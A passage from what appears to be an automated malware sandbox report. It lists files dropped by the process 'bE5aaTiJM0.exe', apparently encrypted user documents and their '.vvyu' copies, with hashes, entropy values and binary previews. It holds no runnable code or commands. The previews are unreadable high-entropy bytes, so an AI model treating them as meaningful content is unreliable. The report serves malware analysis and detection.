Preview:	BJZFP.....z....]..Gp..LP..dU...........!iz.9.t.JH....Z......cM......3.....P.."..[X.?2..}i...>.,..%.Xpb..$i.'9t.....@.....p[eI......a!Y....q.K......q.fU...6N.;.A..I...l.!.....&{....t.W.......S...5..0<H...u.-@..O..^.=..Qu+.B.v?...H/.pG.t......WW.7..9.,.. j...@O~.-e.iYf .3\.k.@.v;.&.....d.8i...N].G...>.....7..).......U....#.K>V..?J...e=K...8k0>}..4. ..\|x.....r5..F...d.x.b......-...w.gx..Xa.d....R5..q.t]o.sd2..p5M7E38}.o6#,Tm..eo..=j..(+...!......1..Vw.Q....o.<B.I.h....#......B...(d;5.."....sW..rw...!.##.>..<.>..-..X...}m...G.."...n....dd.sx../b...$.Tm.;gef.p.".<.......4..M~MC=..0H..#.L..S.O..'.v.}....g....}.].e....._T...W..."e.\|..T:L.^'............k.]..6c.'..<..B.z..o...=p.9]#...@LU\|J7...TD...o.....7!.^..$.p.n.px#..\.Z......N../\|.........M.2.{...&+e@.......c......+m.e..P...F%.foJ..$[.../m.a..=....5.2.b.Z&.g.v.._..To.f9YJ.3..x8.m....7.t.(..);........_...$...sD.X..t..S#39\.&...A....._....L..WgH2R,v.,`.s...<.=..W+..).......ro.9L#.v..j..

C:\Users\user\Desktop\BJZFPPWAPT.pdf.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838091898192101
Encrypted:	false
SSDEEP:	24:7S1harhX7g7BAOHV1ZNZO1pAqq1+BL1zmgCAQBOV2V83iQOIASsbD:78aLYBZV1ZeAoBLdmBFOcV83iAmD
MD5:	BFD014A3F34DBE4CD40F7F75519ADD79
SHA1:	81B5FC1CE83D7AA1FB446C8E1075D087E4B77D74
SHA-256:	4C7DF2C80F706EF125844F051BAA8F8AF8F40C965810538BF14F975CCF8871FE
SHA-512:	6161EA8D765DAB935FD05DD718F175DD93F99725BDFBC7626BC6CA181E99083ADE11DA6BD43AD27D1723795F7B428EF321939A31A3C56B17BA2F7C32394529EE
Malicious:	false
Preview:	BJZFP.....z....]..Gp..LP..dU...........!iz.9.t.JH....Z......cM......3.....P.."..[X.?2..}i...>.,..%.Xpb..$i.'9t.....@.....p[eI......a!Y....q.K......q.fU...6N.;.A..I...l.!.....&{....t.W.......S...5..0<H...u.-@..O..^.=..Qu+.B.v?...H/.pG.t......WW.7..9.,.. j...@O~.-e.iYf .3\.k.@.v;.&.....d.8i...N].G...>.....7..).......U....#.K>V..?J...e=K...8k0>}..4. ..\|x.....r5..F...d.x.b......-...w.gx..Xa.d....R5..q.t]o.sd2..p5M7E38}.o6#,Tm..eo..=j..(+...!......1..Vw.Q....o.<B.I.h....#......B...(d;5.."....sW..rw...!.##.>..<.>..-..X...}m...G.."...n....dd.sx../b...$.Tm.;gef.p.".<.......4..M~MC=..0H..#.L..S.O..'.v.}....g....}.].e....._T...W..."e.\|..T:L.^'............k.]..6c.'..<..B.z..o...=p.9]#...@LU\|J7...TD...o.....7!.^..$.p.n.px#..\.Z......N../\|.........M.2.{...&+e@.......c......+m.e..P...F%.foJ..$[.../m.a..=....5.2.b.Z&.g.v.._..To.f9YJ.3..x8.m....7.t.(..);........_...$...sD.X..t..S#39\.&...A....._....L..WgH2R,v.,`.s...<.=..W+..).......ro.9L#.v..j..

C:\Users\user\Desktop\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830830139203693
Encrypted:	false
SSDEEP:	24:sZf28k7tg2XQB6r913Dp9Fzqk8zI/AH5Is7VQtDKdYc8fHMUktKjI4zJdl8sbD:slFk7tHXQA911zqkW1Is5CKLadkSJdl/
MD5:	EBF82CE4C4280BDBA5D33651E6CCE373
SHA1:	D1E19BEF9D0A94C2EEEA22C3C9C2809C96945446
SHA-256:	BFC31E7E74F3BB83645DAB13EB056657537688C70AB2A230F99B66833C42AD28
SHA-512:	3E56DD6D51B2B3746CB54623080CCBCFF34310AF7D2F802F42A74A96F5FD6D87D3B837CA6E029ECDB11B8AF37C6622F633C5706322BAC3D27A5183660CBFE4A7
Malicious:	false
Preview:	BJZFP.Ru..RLfU..1;m.B...H.....8..l$.s.j...].o.W>6=.A.L..,....=.+=.nb...9^.....4...%....0Z9.P..R.)Q..$..4.>..J.....D>0C.2.{[....O`^y...n. ..j....W.Sm.g.H.g.]7.V...1.......l.?{.y2..T4T....gPX)c.@.q.}.mwc..D.2#.........^......,......<\|..F.f7.6...........8..H.j..>..bh.c.[.x.A.'...N......k.....$0.^E...FK...V....".L..Eb.P...i$..M...I.tB)94.d.....u@..In..z.._.......j....._>._.2.IF.%.{.:.....A_+BL.-8..3..(.y1a$..L. e..._..>..p....8.........\|..@4..a......1b.&9.J..A....t...,....w.8..@.t. .u...ub$D...9}gZ=.,..sD...P.@.vq......K)d..Z&O.......EiYv.09;kr2.#.n.......cy>.8....h......5F.E .....l.[v..a....V.I..5......F.D..}.c....{...$........W...X..{e......x.^...".......m>d.....O .T.}.l..9.....9n...=..@l..........K................o].R....{.....O...o......Z.B.K...FcG........N+....(....#...j{Hr.."PL.a`O....h.~.7\..oi.z..T]Ty.UZz...3..m.]V..1.;.>L..`....s ...*...E.N...=0....m.E6G...V.......K.\.S4.'.....I0..N.K...zR../H.`.o..i......C...78....B..d..

C:\Users\user\Desktop\BJZFPPWAPT.xlsx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830830139203693
Encrypted:	false
SSDEEP:	24:sZf28k7tg2XQB6r913Dp9Fzqk8zI/AH5Is7VQtDKdYc8fHMUktKjI4zJdl8sbD:slFk7tHXQA911zqkW1Is5CKLadkSJdl/
MD5:	EBF82CE4C4280BDBA5D33651E6CCE373
SHA1:	D1E19BEF9D0A94C2EEEA22C3C9C2809C96945446
SHA-256:	BFC31E7E74F3BB83645DAB13EB056657537688C70AB2A230F99B66833C42AD28
SHA-512:	3E56DD6D51B2B3746CB54623080CCBCFF34310AF7D2F802F42A74A96F5FD6D87D3B837CA6E029ECDB11B8AF37C6622F633C5706322BAC3D27A5183660CBFE4A7
Malicious:	false
Preview:	BJZFP.Ru..RLfU..1;m.B...H.....8..l$.s.j...].o.W>6=.A.L..,....=.+=.nb...9^.....4...%....0Z9.P..R.)Q..$..4.>..J.....D>0C.2.{[....O`^y...n. ..j....W.Sm.g.H.g.]7.V...1.......l.?{.y2..T4T....gPX)c.@.q.}.mwc..D.2#.........^......,......<\|..F.f7.6...........8..H.j..>..bh.c.[.x.A.'...N......k.....$0.^E...FK...V....".L..Eb.P...i$..M...I.tB)94.d.....u@..In..z.._.......j....._>._.2.IF.%.{.:.....A_+BL.-8..3..(.y1a$..L. e..._..>..p....8.........\|..@4..a......1b.&9.J..A....t...,....w.8..@.t. .u...ub$D...9}gZ=.,..sD...P.@.vq......K)d..Z&O.......EiYv.09;kr2.#.n.......cy>.8....h......5F.E .....l.[v..a....V.I..5......F.D..}.c....{...$........W...X..{e......x.^...".......m>d.....O .T.}.l..9.....9n...=..@l..........K................o].R....{.....O...o......Z.B.K...FcG........N+....(....#...j{Hr.."PL.a`O....h.~.7\..oi.z..T]Ty.UZz...3..m.]V..1.;.>L..`....s ...*...E.N...=0....m.E6G...V.......K.\.S4.'.....I0..N.K...zR../H.`.o..i......C...78....B..d..

C:\Users\user\Desktop\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866919421056878
Encrypted:	false
SSDEEP:	24:W9F49S7gkDbU0/7M00nevft426/zzi+RTIHQvWMg5MH3RGfFsbD:McSc8UkF2N/zgQv7gdmD
MD5:	3ED06F5F41DB1D4ABACA4CAC40A5EB22
SHA1:	95AA9CFEB8F7B6621C8DE6ED175ACEC99D7EAA36
SHA-256:	518D7ADE357BD2988C716C0DABB637C575FD80760DEEFF5C1D9C2A142A9D6A67
SHA-512:	23B339A561D58170EAC895571BF33C4EBCB7A7659B7FC44DC6BAE39CE754C0B5242D82E9D4D7CB14EEEC0FD1BCF31BB3BAB6AE1D0DD9731486E0CFB01F25A2BB
Malicious:	true
Preview:	BNAGMe.....u......\o._.n.g....I.\|U.9.8g....<.U......M...B.Do#X...:.v'..xO.$..$..T-...DB...... ...B.T.W.....%..@J..........]t...o:.-.P.L[..3..$.W.V..%9..,... .\8......C....../.YO.DT.d.F..(.K..?..,..>..M.R...<J.V%.....o.<.....z..2.h...&!...(.....DM..J.D.xC.o....2......$.v.4............/.............e.}..6....4.........U`N .C.]b.\|.:).I..`..<]..j...<~...R..z\B....P.T{.]].9..R.$.r](.o.;u\1K../hr~.B..J......j...+{.;3..Yl.....9...T3..w[.....B.......V.{<...?.&.3..3......Q....K..F.H.W^_d.U@e....^\.&._....C..a....6ZD.....`.o.z,.kc{~.>.h}.iPd>.T.[..7....m.f.u..w^....m.....v2A..W.w u.`...J+..f....]J..?J..afX..f.f..Rx......9h..y....'.}.f.....x....w.E..Pl.)5.-.Ot%%).E,..J.M.l....e\|>SL.7..m{..i...N....K(:.`...r^..{..g..q.}_.Of.Yz....[....R;.F.......F.9.a..c.`Qo.`y^....Lk;......Z,...$.4>..O.!.^..=.......7..0..n7-k2.L........s.Iu......O9...../hv......a]..@C.yb..]..,..i..{E.)v..'[.e.oZ..x..jA...p#r..x.%..%......qP^{.\.HEd..M4J.#JG.Z.G...`..8y.}..Fvy....

C:\Users\user\Desktop\BNAGMGSPLO.docx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866919421056878
Encrypted:	false
SSDEEP:	24:W9F49S7gkDbU0/7M00nevft426/zzi+RTIHQvWMg5MH3RGfFsbD:McSc8UkF2N/zgQv7gdmD
MD5:	3ED06F5F41DB1D4ABACA4CAC40A5EB22
SHA1:	95AA9CFEB8F7B6621C8DE6ED175ACEC99D7EAA36
SHA-256:	518D7ADE357BD2988C716C0DABB637C575FD80760DEEFF5C1D9C2A142A9D6A67
SHA-512:	23B339A561D58170EAC895571BF33C4EBCB7A7659B7FC44DC6BAE39CE754C0B5242D82E9D4D7CB14EEEC0FD1BCF31BB3BAB6AE1D0DD9731486E0CFB01F25A2BB
Malicious:	false
Preview:	BNAGMe.....u......\o._.n.g....I.\|U.9.8g....<.U......M...B.Do#X...:.v'..xO.$..$..T-...DB...... ...B.T.W.....%..@J..........]t...o:.-.P.L[..3..$.W.V..%9..,... .\8......C....../.YO.DT.d.F..(.K..?..,..>..M.R...<J.V%.....o.<.....z..2.h...&!...(.....DM..J.D.xC.o....2......$.v.4............/.............e.}..6....4.........U`N .C.]b.\|.:).I..`..<]..j...<~...R..z\B....P.T{.]].9..R.$.r](.o.;u\1K../hr~.B..J......j...+{.;3..Yl.....9...T3..w[.....B.......V.{<...?.&.3..3......Q....K..F.H.W^_d.U@e....^\.&._....C..a....6ZD.....`.o.z,.kc{~.>.h}.iPd>.T.[..7....m.f.u..w^....m.....v2A..W.w u.`...J+..f....]J..?J..afX..f.f..Rx......9h..y....'.}.f.....x....w.E..Pl.)5.-.Ot%%).E,..J.M.l....e\|>SL.7..m{..i...N....K(:.`...r^..{..g..q.}_.Of.Yz....[....R;.F.......F.9.a..c.`Qo.`y^....Lk;......Z,...$.4>..O.!.^..=.......7..0..n7-k2.L........s.Iu......O9...../hv......a]..@C.yb..]..,..i..{E.)v..'[.e.oZ..x..jA...p#r..x.%..%......qP^{.\.HEd..M4J.#JG.Z.G...`..8y.}..Fvy....

C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851762841984782
Encrypted:	false
SSDEEP:	24:Gpo9+sgErXJMVkXyik+tffWeDew3IbspJVQQgaldgsbD:Gpo9OIXJMVkXfdUspvdgAgmD
MD5:	CF8FFBB772A3B1547752343A5B2649F7
SHA1:	A767E2A93474F2051663FC2A89E85812194B3147
SHA-256:	BC81752E6501BBD3653B74C3776C99CACD0E7F92C8A2F12DDDC591FC34A9944F
SHA-512:	4DD380211CE80C5EA6131D4BDB1F425EB7AC3B553DFE98C8B8C4E13C69500F5A97535BA114C2490C80632B07D533F970E673CA292851703FA038853DAB51576F
Malicious:	false
Preview:	BNAGM!-....)...V.....,....`.%..A.$.)[.A..a^.7...R.\|D...x.z.Nzi.".\|....y5 .-2...5.N.q.v...+".T..Uvj.....CZu...d..%..2O.._...Q@......U...1...A...~..=...........O..r+..5.O..om...)ix.....g.[...V.$%Rk.'L..aoj..."z....q...j.JQ.0.......k..>a~JL.Z...b.....+\|..c`..i.0.........B..}...f..<..g.oWM......./...N..4...y.8........#.....[..J.ut........4.........p..].....Ss....gq?~...i5..d......f.l<.KN.Y.P~CD...).tY...,.R..p:.v...{..1.~.2..B...;...._/AX.....E....\....d.9.].3......#l.......5..OB.r[..d.C..ASgK.N.j.W}.}~.I.J...u..C3....u.Iz....l)....\|i;H......z`.u.W..2.S..........<..%..LO..:.l.p3..,..{Xh..(Q...s....T}:..{.N+.Fh..'.@...}.................)...A.,....g.j.(.E...L8.)TB.\...[....0..#..10H.Sm.L.O.....#.9..*..GE-......6.Z.F?K._).........:tQ.(..=p.dG)....D.. 2;.f..Z.l.4;FmM....+.:.YTB.Hd..7.S3^.......r...r..].'.w.j.>..m....o6.P....^z.<+...QOz.=......l...%.1$9=...L.P...7..M.\|).....<g.a.u.`8..A....\|e#......{U .A....].#&...I...kF\...\t.,..3+..7.[.#..B.o..W

C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851762841984782
Encrypted:	false
SSDEEP:	24:Gpo9+sgErXJMVkXyik+tffWeDew3IbspJVQQgaldgsbD:Gpo9OIXJMVkXfdUspvdgAgmD
MD5:	CF8FFBB772A3B1547752343A5B2649F7
SHA1:	A767E2A93474F2051663FC2A89E85812194B3147
SHA-256:	BC81752E6501BBD3653B74C3776C99CACD0E7F92C8A2F12DDDC591FC34A9944F
SHA-512:	4DD380211CE80C5EA6131D4BDB1F425EB7AC3B553DFE98C8B8C4E13C69500F5A97535BA114C2490C80632B07D533F970E673CA292851703FA038853DAB51576F
Malicious:	false
Preview:	BNAGM!-....)...V.....,....`.%..A.$.)[.A..a^.7...R.\|D...x.z.Nzi.".\|....y5 .-2...5.N.q.v...+".T..Uvj.....CZu...d..%..2O.._...Q@......U...1...A...~..=...........O..r+..5.O..om...)ix.....g.[...V.$%Rk.'L..aoj..."z....q...j.JQ.0.......k..>a~JL.Z...b.....+\|..c`..i.0.........B..}...f..<..g.oWM......./...N..4...y.8........#.....[..J.ut........4.........p..].....Ss....gq?~...i5..d......f.l<.KN.Y.P~CD...).tY...,.R..p:.v...{..1.~.2..B...;...._/AX.....E....\....d.9.].3......#l.......5..OB.r[..d.C..ASgK.N.j.W}.}~.I.J...u..C3....u.Iz....l)....\|i;H......z`.u.W..2.S..........<..%..LO..:.l.p3..,..{Xh..(Q...s....T}:..{.N+.Fh..'.@...}.................)...A.,....g.j.(.E...L8.)TB.\...[....0..#..10H.Sm.L.O.....#.9..*..GE-......6.Z.F?K._).........:tQ.(..=p.dG)....D.. 2;.f..Z.l.4;FmM....+.:.YTB.Hd..7.S3^.......r...r..].'.w.j.>..m....o6.P....^z.<+...QOz.=......l...%.1$9=...L.P...7..M.\|).....<g.a.u.`8..A....\|e#......{U .A....].#&...I...kF\...\t.,..3+..7.[.#..B.o..W

C:\Users\user\Desktop\BNAGMGSPLO\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856731817421101
Encrypted:	false
SSDEEP:	24:3zsWD+b8KlR88nnAY5a1BlZwOBSlQPAjdFFq6uWgAHma6L1nApDYeAusR/z+OJ4N:Do8KlR7nnNrOOBq6SaSn0aumPmoEiRmD
MD5:	874FC592236411731EC750988E37163F
SHA1:	BE2627DE4D49181E26E9D366D6DAE432FAA3BE42
SHA-256:	3B28270D511010875205B44FECA658B8BE6FB814D7702229F499CC548BDB6C71
SHA-512:	F34D729028F9F7031157CF5AAEF9732BD66925EBF4EE9B46652A734E6DA7A3A0360C31030E32A3D73B31A783079F0B003B0827AB7F139D3B0AE2DD03B64E3B23
Malicious:	false
Preview:	EEGWXC.^...}...u..-......;...,~..(8j........cF..n......u..g..r>)Dx..)...{...."iN........7...]&........5lV&p.Q..q.w9\|..b..6\|.....\|'N"..a9.. .w...e..P.....q..0-..~...~..k!.~.}.."U!.D]4...[D...<mj..m@..:.n.j.Xc.\..Z...A.../..d...zIxR$..X.6EF..6..J.........o...K.m.4c.Z...>u6.._K..l..jlnT...r.:s.q.J1....;.\}.&..f9..T0>(.:.]dAS.0..,....QTY,..p......::..r.M..!..d..N.:....e\|...6.........q..k...T.E..+_b.....%.X.N.:L.]^IN...c..;c...5G.C)..l..Qk0.T.o..R.d4_..`.V..q1..n..X._.6......N...\.x\.]..=..4d.`..K.......b....U...[..I..#....^......,.A"(......B,....-... /X.y....\...h.t....k......h1..........)..n.e%..\|.cjo2?....M..X].St.j.>.._.[,.P.o......X-...W.lj..=..d...2.zo..F..+>....Z6>.Y..m.9.D.......>...k.H.y..u....:.(..H....;...:.a...U...F9o....[[.J.......";.....2.....m..2 1)n..E.0Yn..x.....Ub&.hL.S.D..."z_...H......"[.U..F.h`.V.{...BY...^. ..Q..!.$...Ia".'...)......[...FH(Z.+.T..@*.....].&s....=.7O....~...yb.'(?.EK...<...V...@.....c.l..r.......m

C:\Users\user\Desktop\BNAGMGSPLO\EEGWXUHVUG.pdf.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856731817421101
Encrypted:	false
SSDEEP:	24:3zsWD+b8KlR88nnAY5a1BlZwOBSlQPAjdFFq6uWgAHma6L1nApDYeAusR/z+OJ4N:Do8KlR7nnNrOOBq6SaSn0aumPmoEiRmD
MD5:	874FC592236411731EC750988E37163F
SHA1:	BE2627DE4D49181E26E9D366D6DAE432FAA3BE42
SHA-256:	3B28270D511010875205B44FECA658B8BE6FB814D7702229F499CC548BDB6C71
SHA-512:	F34D729028F9F7031157CF5AAEF9732BD66925EBF4EE9B46652A734E6DA7A3A0360C31030E32A3D73B31A783079F0B003B0827AB7F139D3B0AE2DD03B64E3B23
Malicious:	false
Preview:	EEGWXC.^...}...u..-......;...,~..(8j........cF..n......u..g..r>)Dx..)...{...."iN........7...]&........5lV&p.Q..q.w9\|..b..6\|.....\|'N"..a9.. .w...e..P.....q..0-..~...~..k!.~.}.."U!.D]4...[D...<mj..m@..:.n.j.Xc.\..Z...A.../..d...zIxR$..X.6EF..6..J.........o...K.m.4c.Z...>u6.._K..l..jlnT...r.:s.q.J1....;.\}.&..f9..T0>(.:.]dAS.0..,....QTY,..p......::..r.M..!..d..N.:....e\|...6.........q..k...T.E..+_b.....%.X.N.:L.]^IN...c..;c...5G.C)..l..Qk0.T.o..R.d4_..`.V..q1..n..X._.6......N...\.x\.]..=..4d.`..K.......b....U...[..I..#....^......,.A"(......B,....-... /X.y....\...h.t....k......h1..........)..n.e%..\|.cjo2?....M..X].St.j.>.._.[,.P.o......X-...W.lj..=..d...2.zo..F..+>....Z6>.Y..m.9.D.......>...k.H.y..u....:.(..H....;...:.a...U...F9o....[[.J.......";.....2.....m..2 1)n..E.0Yn..x.....Ub&.hL.S.D..."z_...H......"[.U..F.h`.V.{...BY...^. ..Q..!.$...Ia".'...)......[...FH(Z.+.T..@*.....].&s....=.7O....~...yb.'(?.EK...<...V...@.....c.l..r.......m

C:\Users\user\Desktop\BNAGMGSPLO\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86485512465614
Encrypted:	false
SSDEEP:	24:nMdqcUW/oPv/tjFGsFcK7rsz7R2em5n1AK4JJnYAcX6PCJoUsbD:nEUrPXrLJvs3QLg7naXOqoUmD
MD5:	12E6BF416EF0CB3C30B6E7BD40900C1F
SHA1:	D0FDE9E3DA8660EA22F297BA98A2459F43D13934
SHA-256:	63999BAFAD3CCDC02AF55529EE74D0A780EA1726759AB3211A9286CE2B804EF2
SHA-512:	7A0679DD547B986AA5F4762571A7791FE7FAFF5AE6F1219C1E55E97549822B388A246CEA7CCF9F0289B04C7586331DB3C5A92AC743BDD8AA50DF6885DA83A430
Malicious:	false
Preview:	EFOYFd.z..8.T. a.C-;.Kd3.....FG....'.I3.d...1..V1~...+.f."#-..F.b.i.2.....w..c.(.2VV..+..zP:..v..?Cs.]e2..r.`'...o...]!.++...q....`w..IP....OZ.o,.xS...H.NR....4.=.q.N=Hf.&;..%\|...6.8.H.Ix..^.E..8jt.\|..N.~..).L.......qz...T.^.c`.`E.........DO..\.VU....P.w..h=..&..\|...36.?y.s.....,.R3....7W..DE6?e.[.k..v.AEC....[.SG..^...n.._...CqM....:$.).7...-.:.g..]....)k..M..!,......./.'.v..!. ......0..u....o.X..,RW-.,i....F.(2.0..f=.3.m............x$..@.~.;..d...g....;.yO...+c...f..zBI...r.T`'m.#..x.J....r........../A..B.{..ge.=...M6..........B.._..-.&.....r.....E5.uj..~.1&<#..\|......r.>..Vw..>)h.o...5:K.v>..o$..1J...O(.}0. .L.. .x.....uy....O.z..."...N...O.n.....]..}.4.U...i...'D...J.\| .n.K^..x.o..K[.......M.-J....?..e....'.p........Ul.J./.".c.....rzIZ#....V..'.S3.Xg`.C.Y .H.k.k....A.H.U.f..:.(e..zB.W-<.<..9E./.....F&vx..u.t\........4?...._.P...z.%..r(.......!...d.(..bW'..?$v...<.....o2e..w%...7....2.Ta...9'.........%....}..2).H..k.l.i.9.=..-KC

C:\Users\user\Desktop\BNAGMGSPLO\EFOYFBOLXA.png.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86485512465614
Encrypted:	false
SSDEEP:	24:nMdqcUW/oPv/tjFGsFcK7rsz7R2em5n1AK4JJnYAcX6PCJoUsbD:nEUrPXrLJvs3QLg7naXOqoUmD
MD5:	12E6BF416EF0CB3C30B6E7BD40900C1F
SHA1:	D0FDE9E3DA8660EA22F297BA98A2459F43D13934
SHA-256:	63999BAFAD3CCDC02AF55529EE74D0A780EA1726759AB3211A9286CE2B804EF2
SHA-512:	7A0679DD547B986AA5F4762571A7791FE7FAFF5AE6F1219C1E55E97549822B388A246CEA7CCF9F0289B04C7586331DB3C5A92AC743BDD8AA50DF6885DA83A430
Malicious:	false
Preview:	EFOYFd.z..8.T. a.C-;.Kd3.....FG....'.I3.d...1..V1~...+.f."#-..F.b.i.2.....w..c.(.2VV..+..zP:..v..?Cs.]e2..r.`'...o...]!.++...q....`w..IP....OZ.o,.xS...H.NR....4.=.q.N=Hf.&;..%\|...6.8.H.Ix..^.E..8jt.\|..N.~..).L.......qz...T.^.c`.`E.........DO..\.VU....P.w..h=..&..\|...36.?y.s.....,.R3....7W..DE6?e.[.k..v.AEC....[.SG..^...n.._...CqM....:$.).7...-.:.g..]....)k..M..!,......./.'.v..!. ......0..u....o.X..,RW-.,i....F.(2.0..f=.3.m............x$..@.~.;..d...g....;.yO...+c...f..zBI...r.T`'m.#..x.J....r........../A..B.{..ge.=...M6..........B.._..-.&.....r.....E5.uj..~.1&<#..\|......r.>..Vw..>)h.o...5:K.v>..o$..1J...O(.}0. .L.. .x.....uy....O.z..."...N...O.n.....]..}.4.U...i...'D...J.\| .n.K^..x.o..K[.......M.-J....?..e....'.p........Ul.J./.".c.....rzIZ#....V..'.S3.Xg`.C.Y .H.k.k....A.H.U.f..:.(e..zB.W-<.<..9E./.....F&vx..u.t\........4?...._.P...z.%..r(.......!...d.(..bW'..?$v...<.....o2e..w%...7....2.Ta...9'.........%....}..2).H..k.l.i.9.=..-KC

C:\Users\user\Desktop\BNAGMGSPLO\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867810519300976
Encrypted:	false
SSDEEP:	24:HBisV+Kk8mNV4iAtm7T8hM7D5IadKY880ab0oL304pl3neGowW11sbD:Ntk8mLnAtm7QM7D5Iak8HgP03neL911+
MD5:	5A0D8EA43D9790A9D21D8A9F0D12322F
SHA1:	3B9485B82FD29AB2E6816B0C4FFDEE92467EFE9D
SHA-256:	F8B395C180634EB02D11827715C845F7D76F719181352ACB49E688AA9E8A93FA
SHA-512:	E8886A4747A9BA2159B9A875CBB2514E0434BB3382E06C4E54CCF4CEBA2B51802D66EFD53E3D01BEED4D4D6FF08C7B64BB3B73D6D9397A39BAEAB2B75D850CBD
Malicious:	false
Preview:	GRXZD..gY@M....m..w.s..X].<wSKp....W].c..H+Rm..&..g,.:......o..@...=..rrB.W.6....h\...uK?.~4..!.S...^./_/..W...5..3.1k..C-...z......`.A...^.....+....?n.....a.e......l...$..fE..{Z...I],.P.....0....3.o......G...}...}..e...c..H%..c..L..A.h1...}.]1r`q....(.....,....o.....\|.......=.lc.X.>..Kp\..^..K.Hb.....>R,E.b....9.u.O.,..."..1FO.T.n.\..m!Q...>x...s.Ld.......![...5..4..'U.<.....e^..............:g.....C=.=... [.b...EH.2...e.k4?3......Y.X6.Jo(...2@.~.S.....n..B.....y..K..Kq..'c0..d8...Om....1. ..).z....]X...W^.}..o..{...Jv~f=b.q.j.z@..J.R.3...r.X..!.\8..{....N.I..d.5,m:Y..a&..akUV"...g..C..\|....^.y}.Dca3DX..eV".N..:Z.1a....C...,..{IO...........7y..+.......7gJ.y....'+.;.pr..<CQ. .....".1b..e\|..d..#6..@..!...~;....D.3. ..8.w.....+J...L&Thl./.j.bf..].p...{..i.)GH...E\.,.......$h..h.&]..me...m.e....."{.b.'C...Z..R.......2.3.~........'...eE.....~..9u......3...-...y$.H_.....C8t.',...W..q.&3L.._.(........Q..M.J...vI..8..(...L.D.:=...._l.F*..fqvFj

C:\Users\user\Desktop\BNAGMGSPLO\GRXZDKKVDB.mp3.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867810519300976
Encrypted:	false
SSDEEP:	24:HBisV+Kk8mNV4iAtm7T8hM7D5IadKY880ab0oL304pl3neGowW11sbD:Ntk8mLnAtm7QM7D5Iak8HgP03neL911+
MD5:	5A0D8EA43D9790A9D21D8A9F0D12322F
SHA1:	3B9485B82FD29AB2E6816B0C4FFDEE92467EFE9D
SHA-256:	F8B395C180634EB02D11827715C845F7D76F719181352ACB49E688AA9E8A93FA
SHA-512:	E8886A4747A9BA2159B9A875CBB2514E0434BB3382E06C4E54CCF4CEBA2B51802D66EFD53E3D01BEED4D4D6FF08C7B64BB3B73D6D9397A39BAEAB2B75D850CBD
Malicious:	false
Preview:	GRXZD..gY@M....m..w.s..X].<wSKp....W].c..H+Rm..&..g,.:......o..@...=..rrB.W.6....h\...uK?.~4..!.S...^./_/..W...5..3.1k..C-...z......`.A...^.....+....?n.....a.e......l...$..fE..{Z...I],.P.....0....3.o......G...}...}..e...c..H%..c..L..A.h1...}.]1r`q....(.....,....o.....\|.......=.lc.X.>..Kp\..^..K.Hb.....>R,E.b....9.u.O.,..."..1FO.T.n.\..m!Q...>x...s.Ld.......![...5..4..'U.<.....e^..............:g.....C=.=... [.b...EH.2...e.k4?3......Y.X6.Jo(...2@.~.S.....n..B.....y..K..Kq..'c0..d8...Om....1. ..).z....]X...W^.}..o..{...Jv~f=b.q.j.z@..J.R.3...r.X..!.\8..{....N.I..d.5,m:Y..a&..akUV"...g..C..\|....^.y}.Dca3DX..eV".N..:Z.1a....C...,..{IO...........7y..+.......7gJ.y....'+.;.pr..<CQ. .....".1b..e\|..d..#6..@..!...~;....D.3. ..8.w.....+J...L&Thl./.j.bf..].p...{..i.)GH...E\.,.......$h..h.&]..me...m.e....."{.b.'C...Z..R.......2.3.~........'...eE.....~..9u......3...-...y$.H_.....C8t.',...W..q.&3L.._.(........Q..M.J...vI..8..(...L.D.:=...._l.F*..fqvFj

C:\Users\user\Desktop\BNAGMGSPLO\NVWZAPQSQL.jpg

Download File

